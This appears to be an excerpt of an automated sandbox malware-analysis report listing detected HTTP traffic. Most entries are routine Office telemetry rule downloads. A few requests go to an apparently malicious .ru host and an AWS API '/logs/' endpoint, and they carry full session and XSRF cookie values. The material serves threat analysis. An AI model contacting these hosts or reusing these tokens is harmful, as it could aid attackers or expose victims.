laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /opyXAR9zsHzgqXwIJLY5LV7jMEP12o02zh09sjAIXIf7J57nkQ1zfczG9XdXcd231 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stehY4yqqFrD60BTLfVjR0Zav2TfIjKMrVqdygPxhqFJZP9m86mnWsLW9Njw1XTVYrnwGDC4nu16024sYJPhXFz2mtef255 HTTP/1.1Host: ajtl2.clriwhkc.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZM3NGaVhGQnNCd25BMjRaTnZjN3c9PSIsInZhbHVlIjoicHAyV3RWSmM5VzVzQVZrcXA0c05tMkFhTWwyalVmOGpYQ1dKSmRUcWtJb1N0SlZwcCtkWXNnekN3cjJWVHMzSWdyazJIdUhwZlRkeGZtUTg3Zno1UTllS1ljbnh2N0FOWlMyZ1VBdXVBYmRvQkw0SldraVhLakVIZ01lSHRER1UiLCJtYWMiOiI0MTViYTFhYmYxNWI4ZWE2YWFiNTJiZGRhNDQ3MjA4YjQ0ZDBmYjMwOTlkNDBmZGUzYWMxOTQ2NTU0Y2M0ZmVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlROT2lyVmI3N2FmWFN5VXN4eVNMbnc9PSIsInZhbHVlIjoiTEM0aXIxOXVoVHYwNnM4eisxZzFTNzliTmIwb0EwRGpWWXg2UFJ0dGowUG1hS2VmMk8vMHl4QXdlUWFpZnN1UTI1WmUvYVZlYTcxckFlaURERGRrZ3ZmZXg3OVhySGIwNU0rdzYweHM2VDJzamNhRWlaU3V3c0RZZVovcmFJNXAiLCJtYWMiOiI2MjE5YjBhNTJkNTY0NjE4MTQ2MDdkOTJlMjdjZWU4NGMyYmY1OWE3OGJiYzcwNGE2MWVmNDU0YTc1ZjNhNjEwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
Source: global traffic	HTTP traffic detected: GET /logs/831678/1829815/simple HTTP/1.1Host: utty56o2qi.execute-api.us-east-2.amazonaws.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.svc.static.microsoft
